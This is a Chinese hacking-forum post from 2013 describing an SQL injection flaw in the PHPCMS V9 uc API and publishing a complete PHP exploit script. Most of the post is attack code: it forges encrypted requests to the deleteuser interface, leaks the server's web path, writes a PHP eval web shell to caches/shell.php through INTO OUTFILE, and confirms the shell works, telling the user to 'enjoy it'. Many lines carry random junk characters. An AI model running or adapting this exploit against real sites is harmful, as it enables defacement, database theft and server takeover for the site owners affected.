找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1794|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
. V) O7 _2 R4 h, c2 Z+ d* M. A% E9 ]# i; f  J
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
/ n' \4 p/ w: I: a* V; a9 {; O- z2 {0 }6 S% D
漏洞分析:
! B' H7 g: W* }8 t! t1.未启用ucenter服务的情况下uc_key为空
: M' n$ @/ p1 D5 adefine('UC_KEY', pc_base::load_config('system', 'uc_key'));. ]7 K# Z# p, |3 C
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
# V: Z0 T% n, E1 Y- v; U) F8 {    public function deleteuser($get,$post) {3 E3 c+ y5 p7 O% t0 b& [% l
        pc_base::load_app_func('global', 'admin');- R7 i& V" A" ~- g
        pc_base::load_app_class('messagequeue', 'admin' , 0);
* @6 q1 r4 y* N9 h        $ids = new_stripslashes($get['ids']);" @' J) x! q# q/ I' M
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");1 |# P5 x9 A  w. E# w
SQL语句为8 r, U: ]7 Q% c# X# L- p" g
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)$ Q$ K# Z; h0 `/ m4 ^: f( H$ `; I

; i, P, r3 O  W7 A; y4 [利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
" _4 E% {3 {( P( r6 |<?php- T% c5 ^# i" |- b' i1 I
print_r('
6 G! m2 x/ n( s---------------------------------------------------------------------------5 Q7 A! s  |: i# m! A
PHPcms (v9 or Old Version) uc api sql injection 0day* F+ R6 M, h. t* Z
by rayh4c#80sec.com
/ H4 g$ N8 n6 L9 e---------------------------------------------------------------------------
1 |- l+ a+ V2 w0 T; S3 `; f');7 [; d# P8 I$ x  T7 c9 A
) p- s  g. l+ Z4 A
if ($argc<3) {$ _2 S5 A6 |+ q& K7 q
    print_r('/ E# z$ i8 i0 \* Y( N0 @' p
---------------------------------------------------------------------------/ M+ D- i7 h3 A
Usage: php '.$argv[0].' host path OPTIONS: T' r- \: ^% V7 s+ C$ `
host:      target server (ip/hostname)% p9 z" \3 r- A$ k4 P* P
path:      path to phpcms- u/ _& x' L$ v. W) L$ p
Options:" q# Q5 V5 R) u4 ]& n
-p[port]:    specify a port other than 80
5 q- @7 P+ s/ D: O2 [ -P[ip:port]: specify a proxy
7 |, u) E4 {' ]7 A! B" J; DExample:6 L( D3 Y$ B4 Z! P. ~
php '.$argv[0].' localhost /1 ]. z! a" f7 A( X( \2 b
php '.$argv[0].' localhost /phpcms/ -p81" ]1 C1 t% V5 l) s3 v9 L' f8 Z& _
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
2 _" V' n# g9 Y: g' t---------------------------------------------------------------------------
0 @0 x. b9 e, u5 r# l" _9 C: y! f');
1 @; ?0 q5 K' U0 h+ Y    die;# H3 H& k! O$ s2 m
}
4 o. k, \4 ^; A
# Z+ B7 t" c( T" N6 z" r" k! Ierror_reporting(7);. W7 s3 k* _/ O2 |  u
ini_set("max_execution_time",0);1 J- I. U& O; {$ e
ini_set("default_socket_timeout",5);3 m6 d6 X% F( N! f. v4 {) J
# ?  \2 G% U7 U" `% y8 E
function quick_dump($string)' n, T( E* Z. T6 l/ }6 o5 G0 F
{2 W5 J- z6 r8 e6 y* p  l
  $result='';$exa='';$cont=0;
2 [5 Q& P$ t6 m" U$ R0 F+ E3 w  for ($i=0; $i<=strlen($string)-1; $i++)
8 s; p7 r. W* Q/ Z2 |  {1 [# e' y4 N$ j8 {; Q- @3 C* Y
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
' b& e! L4 ~: O' G9 [" H3 S5 L   {$result.="  .";}' \4 F! f( {, \
   else
+ U6 q/ j# O3 Q' V1 n: p   {$result.="  ".$string[$i];}
/ `$ f, r4 l( e! o8 x   if (strlen(dechex(ord($string[$i])))==2)
2 Q7 }8 z! p  \; w' V) B   {$exa.=" ".dechex(ord($string[$i]));}  u( e3 ]: k! P! W7 g- T
   else
; P- K" Y) z" k4 p5 i   {$exa.=" 0".dechex(ord($string[$i]));}
0 o2 u$ C* y2 U8 i- R- W- `   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
: I9 F6 c- l; L. Y3 w" c8 `  }
% A/ o$ }2 v4 {: { return $exa."\r\n".$result;: I( i6 v1 y% a9 Z( C0 X' |* W# D
}% j& w1 q/ J+ }4 p+ C5 b4 l/ U6 X
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
% Q. W7 I" }* S
7 F. z/ P$ L$ o( p5 P; l/ Q3 b) H& Wfunction send($packet)* A8 ~8 J+ i8 ~8 b& o7 Z
{
6 H3 X  V# Q- T" I6 {) R$ L5 F. R  global $proxy, $host, $port, $html, $proxy_regex;
" U) |( ~. T; f2 b! b; q% _5 J) V  if ($proxy=='') {7 Q) h5 u$ y, W( z0 L
    $ock=fsockopen(gethostbyname($host),$port);
4 [* B, v. l# l8 D    if (!$ock) {& C( b) O0 p0 P1 Q
      echo 'No response from '.$host.':'.$port; die;0 Y( O- l% P, M8 a
    }
- B9 V- P% e3 p  f8 L: f  t2 o  }* R, x, K& l5 N; t% X
  else {" W6 N5 q, v$ i( U) s# ]$ i
        $c = preg_match($proxy_regex,$proxy);
3 j. \1 R: z$ |5 d! }    if (!$c) {
- l' \4 A$ u; a) P9 _) G$ q( B7 A7 w      echo 'Not a valid proxy...';die;+ H8 l, _. R* v3 M
    }
; T' r0 A- [( X1 _    $parts=explode(':',$proxy);* h0 G) l" ]  f2 i+ u1 i& ]
    $parts[1]=(int)$parts[1];
7 k% t; Y4 h3 S( P9 S    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
" m3 ~5 x( g# |- I! N* G$ u$ {    $ock=fsockopen($parts[0],$parts[1]);
. e, ~' B) D& f" U) L$ s    if (!$ock) {* z; R+ A$ G# t9 x* H" i
      echo 'No response from proxy...';die;9 C7 d8 c! A6 L
        }
9 v; h8 g- p4 _  }% r* i7 o5 }. M8 L4 L  C7 O
  fputs($ock,$packet);+ x/ F7 E4 E8 j! P4 s1 O
  if ($proxy=='') {
$ s1 @6 g$ w, y2 O1 A; @    $html='';% s/ J7 i2 w) f/ Z3 g; Y
    while (!feof($ock)) {
3 j" K" k$ a9 [      $html.=fgets($ock);
( v" \, n% Q- u0 T2 U0 u5 U    }
, K9 C  T  x( `3 O  }9 v. \7 j* f2 |5 p% {
  else {( z; G" c5 [# F% I3 E4 D& s
    $html='';' }7 I* F: z0 u) k$ `  Q. O! ^7 }3 _
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
8 W0 [2 U. o5 [3 o      $html.=fread($ock,1);
4 u* Z) q' d+ ^7 }" _' P5 B    }9 `% s# N. m' X- a2 a
  }; d1 I2 e. b/ B
  fclose($ock);0 o! p' L/ I: u( [5 ]
}
9 C$ T/ T! H2 N# x& x. r  E0 \3 t5 C" g) D, J/ G  r
$host=$argv[1];
; T5 J, H1 s% r! p- d6 e7 H$path=$argv[2];
$ ]% V* B0 w$ ?/ i1 N4 Q$port=80;! h, O' {, v! \1 E
$proxy="";
! z0 `: `# n- {4 a' M3 _+ Gfor ($i=3; $i<$argc; $i++){
: N9 S; ~- @# m& r$ R- @1 h$temp=$argv[$i][0].$argv[$i][1];
1 C' e) S1 o, t5 p& r, R8 |. k6 Lif ($temp=="-p")
9 Z" G+ G$ t- h' ]{3 f, {9 Z6 S; L! E4 U; v; F
  $port=(int)str_replace("-p","",$argv[$i]);) P; \, P' m. Q  d: g2 D
}
( P3 J9 i* Q+ m& p) yif ($temp=="-P")
4 K. A; v: A* w2 J{2 _: b5 w3 q7 V) ]
  $proxy=str_replace("-P","",$argv[$i]);
. y5 x% W# ~! c7 \; x}
: l% a$ ^4 L! k}1 [/ t; G$ D0 h

* I$ i0 ^$ x3 o7 |- j  x: c1 Jif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
3 X9 S" k% |" Y6 k6 uif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
# \$ f2 v  C6 F4 c8 P, J" @3 w+ u+ K+ V: o% |, H% t  Q0 t0 C7 n# o
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {2 W3 L( ]* f. D' g8 v7 k
2 }4 R6 v  h6 J9 M5 t* v
    $ckey_length = 4;
+ P7 R! s. M; W' {0 a3 b& ]7 ^* [; J7 W$ V, I
    $key = md5($key ? $key : '');: x: J. h6 k. k' [
    $keya = md5(substr($key, 0, 16));
& D1 ~. d2 {/ ^0 q# U    $keyb = md5(substr($key, 16, 16));
9 K8 c2 {- r6 i7 C6 m& _    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';& p+ ]% r2 Q1 ?$ i: M' y$ o

' i! ]; x, q# \. C9 V7 ~    $cryptkey = $keya.md5($keya.$keyc);
/ B4 y) E0 B9 X# @! F, a    $key_length = strlen($cryptkey);
  i2 c% X5 P9 y/ ~
  [$ X3 v& \% n    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
6 b6 \; U0 D( B# V' e# {    $string_length = strlen($string);  v* _- u6 }  |- R9 y9 `

6 n% R* L0 V$ ?% C" H    $result = '';
4 G$ c/ J' f6 M, a) R! ?1 G% J    $box = range(0, 255);: {0 K% N2 N& c" O. G
0 Z0 [* }1 v" V- J! \' E
    $rndkey = array();
& |7 V7 J7 l( g5 d; h    for($i = 0; $i <= 255; $i++) {
* s/ F& D# b+ @- [8 @- X        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
7 S( u& P% a( @3 b* s9 \: T# l6 U    }* t2 ]0 A1 f& F- F3 h8 y
, N- z1 P8 A; V/ S. g: n. \. i
    for($j = $i = 0; $i < 256; $i++) {
6 B, h! ^3 g2 i/ ?        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
3 N2 Z  T% v) N! i* w$ b0 b* D! `        $tmp = $box[$i];% n2 Y5 M0 y! _3 j) S- t
        $box[$i] = $box[$j];6 r/ x& _7 u' L" T( W4 j3 h+ j
        $box[$j] = $tmp;* R' U/ z* t% k
    }
- ]' G$ @" m2 K& S+ f! V
; M: z/ y0 q# N1 @1 Z    for($a = $j = $i = 0; $i < $string_length; $i++) {
# L* W; d! {# D5 p3 {; P# [& ]        $a = ($a + 1) % 256;4 ~4 @5 a8 }% Q& h5 ~4 Z- I, }
        $j = ($j + $box[$a]) % 256;
* l/ s6 J! ~# z: @( v  i        $tmp = $box[$a];
$ u6 W+ F2 q' S        $box[$a] = $box[$j];* a2 |+ d) p% [4 i4 G7 L5 d
        $box[$j] = $tmp;1 o% W3 K* U- d9 J( R
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));, Y" ?3 o5 p8 c& Y9 j
    }" ]. K3 f, L/ `/ w9 F( t& ]

" X' k+ t- d7 u' N) D; d    if($operation == 'DECODE') {& d; O1 A- p- j- U2 h
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
. N% x3 A& q* z9 j: i6 c            return substr($result, 26);3 `; c4 Z. x! e* w6 o7 Y
        } else {3 T- Y7 C. B6 ?( j
            return '';; |' p+ ^3 }2 e) B9 l, p. i
        }
- x' B4 [% e# z! Z6 F, E8 p) X    } else {
' J* p4 t) s8 G        return $keyc.str_replace('=', '', base64_encode($result));9 T$ R; |# @9 n3 M& M, O
    }- Z) U1 J1 O( s8 w* U+ R

7 F+ N$ M' ^* D3 Y}( \8 H' ^" n, a  C

- j/ h+ B/ r: c4 f$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
/ X  O  g5 Q' h$SQL = urlencode(authcode($SQL, "ENCODE", ""));7 ^2 Y, m# G2 v
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";# K: {. r' O/ F$ E/ N: O4 V2 @& k2 O9 b
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
6 a, u8 u: t) T# F; a$packet.="User-Agent: Mozilla/5.0\r\n";( {2 N5 h- L! N' K+ {% [. t
$packet.="Host: ".$host."\r\n";2 |+ h% }! A6 \. I% M
$packet.="Connection: Close\r\n\r\n";  `% t* r5 G6 _; P  g
send($packet);  {  n/ W" Z- H) O: k
if(strpos($html,"MySQL Errno") > 0){4 Z* P" U0 r' R( L; d
echo "[2] 发现存在SQL注入漏洞"."\n";0 Z- d7 E7 I8 t% c; F
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";* @# l9 D/ m, z
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";8 W- w# b' `* @; O" Q: M" a7 a0 u
$packet.="User-Agent: Mozilla/5.0\r\n";" J( l, z  Y. E* {- S) ]' i& @+ a
$packet.="Host: ".$host."\r\n";
8 a. A+ O' m: J& E1 T. A& A$packet.="Connection: Close\r\n\r\n";
- S5 ]& \5 }# m) tsend($packet);; n% c/ T( m* Q! S
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);3 r. {% a& u1 K2 o1 }% R5 [
//print_r($matches);" h1 \& a: ?7 G) w  K' [
if(!empty($matches)){% X( J/ F6 N8 b3 k- C
echo "[4] 得到web路径 " . $matches[0]."\n";
1 ]  {7 `: a3 V* Aecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
9 C" |9 i0 S0 d; h8 h, e$SQL = "time=999999999999999999999999&ids=1)";
% I  @* K. B# _& E! k/ m3 k0 h$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
0 l+ u8 _  f0 r$SQL.="&action=deleteuser";2 C: h0 X! j& ]+ f8 {* V1 `7 G" \' e
$SQL = urlencode(authcode($SQL, "ENCODE", ""));6 P# ~8 z; ^& R( U+ l
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
& I, l1 O. o# m+ Q( D/ Y$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
# k( w2 ]' b3 L/ H  o$packet.="User-Agent: Mozilla/5.0\r\n";. R# w4 N. ~0 d6 w7 ~+ E/ u
$packet.="Host: ".$host."\r\n";' c7 r' u) L& @) L" m; M$ d
$packet.="Connection: Close\r\n\r\n";
% v; V: Z. `( h- M8 p: h1 _3 g+ Lsend($packet);1 t6 o1 \  f! [9 M: E
if(strpos($html,"Access denied") > 0){: x. w! [" Y$ X3 ^  C
echo "[-] MYSQL权限过低 禁止写入文件 ";
+ `/ R+ ~& F3 Q0 J/ [- R- e; }; ?die;; ~6 h4 F& h, T* C0 x
}" q" k4 Y! N3 \/ `" ?! r& |
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
2 C' m' M, q2 R, z$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";/ W+ x- f4 Q3 N! m! M9 {/ P% k
$packet.="User-Agent: Mozilla/5.0\r\n";
/ w7 c4 R7 e+ y" q0 e( K$packet.="Host: ".$host."\r\n";+ v3 g2 B* b( d+ ~3 R% `
$packet.="Connection: Close\r\n\r\n";4 K. L% J# T( _8 w: z
send($packet);
" n7 `. n( ?8 Eif(strpos($html,"<title>phpinfo()</title>") > 0){# Z8 ]6 F! \* R" x7 J) V
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
3 k% y4 H5 |  M# u8 U6 [}
) s8 a  E: b7 O% J4 i/ m. y}else{
* F' e1 C7 W! S1 v+ n' ]! ]" _! I5 secho "[-]未取到web路径 ";
  r" s( Y% ^4 B! c9 Y. Z}
: w( \8 p) f9 d, }; E$ g}else{
4 p- p6 k, Y) I& o0 E( s; ]4 Aecho "[*]不存在SQL注入漏洞"."\n";
9 r, m( Q. Z2 }- v4 A}
; S8 _6 @9 l) I" A$ G* u  H# C; b
?>
- `+ z! g8 z+ n/ s& y) x. [/ L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表